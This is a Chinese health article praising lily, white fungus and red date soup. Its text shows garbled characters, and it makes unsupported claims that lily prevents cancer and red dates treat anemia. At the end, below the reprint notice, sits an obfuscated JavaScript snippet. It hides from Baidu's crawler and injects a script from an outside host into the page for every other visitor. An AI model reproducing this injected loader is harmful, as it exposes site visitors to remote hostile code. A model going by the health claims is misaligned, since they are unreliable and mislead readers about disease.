當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

百合銀耳紅棗湯的功效有哪些

2017-07-07 16:52:21  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):百合中富含豐富的蛋白質(zhì),氨基酸鈣鐵鋅硒維生素等,營(yíng)養(yǎng)成分。 百合有抗氧化的作用,有良好的滋養(yǎng)的能力,百合能夠美容養(yǎng)顏,防癌抗癌。另

百合中富含豐富的蛋白質(zhì),氨基酸鈣鐵鋅硒維生素等,營(yíng)養(yǎng)成分。 百合有抗氧化的作用,有良好的滋養(yǎng)的能力,百合能夠美容養(yǎng)顏,防癌抗癌。另外,銀耳也有許多重要的功效,他能夠滋陰潤(rùn)肺,美容養(yǎng)顏。紅棗能有效地治療貧血。下面再詳細(xì)的介紹一下百合銀耳紅棗湯的功效。

保健功效很強(qiáng),中醫(yī)的方子里,常常見(jiàn)到它的蹤影,因?yàn)榧t棗既有緩和藥性的功能又能補(bǔ)氣養(yǎng)血,是很好的營(yíng)養(yǎng)保健品。對(duì)于女性朋友來(lái)說(shuō),紅棗既有保健的功效,同時(shí)又具有美容的功效,是不可多得的美容保健佳品指導(dǎo)意見(jiàn):可以的,沒(méi)什么影響。銀耳還有豐富的磷質(zhì),有補(bǔ)脾健胃,清涼除燥的功用,對(duì)虛火上升、煩躁失眠,食欲不振或虛不受補(bǔ)的人有良好的食療效果

銀耳具有補(bǔ)腎、潤(rùn)腸、益胃、補(bǔ)氣、和血、強(qiáng)心、壯身、補(bǔ)腦、提神的功效,長(zhǎng)期服用的話還可以在一定程度上起到祛除臉部黃褐斑、雀斑以及減肥的作用,蓮子具有鎮(zhèn)靜、強(qiáng)心、抗衰老,健身延年等多種功效,腦力勞動(dòng)者常吃可養(yǎng)心安神,增強(qiáng)記憶力,提高工作效率。

除了這兩個(gè)主料以外,百合和紅棗也具有不可小覷的營(yíng)養(yǎng)和美容價(jià)值,尤其是紅棗,民間有“一日食仨?xiàng)?,百歲不顯老”、“要使皮膚好,粥里加紅棗”之說(shuō),可以說(shuō)紅棗堪稱“天然維生素丸,除了有較高的營(yíng)養(yǎng)價(jià)值外,還可以使女性的皮膚滋潤(rùn)嫩滑、光潔白凈,皺紋減少。

百合銀耳紅棗湯,具有非常高的功效和食用價(jià)值,他能夠潤(rùn)肺止咳,美容養(yǎng)顏,寧心安神,在一定程度上,還能緩解貧血引起的身體無(wú)力的狀況。如果您感興趣就自己制作一下吧,希望這些搜集到的資料能夠幫助到您,謝謝!祝您家庭幸福!

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}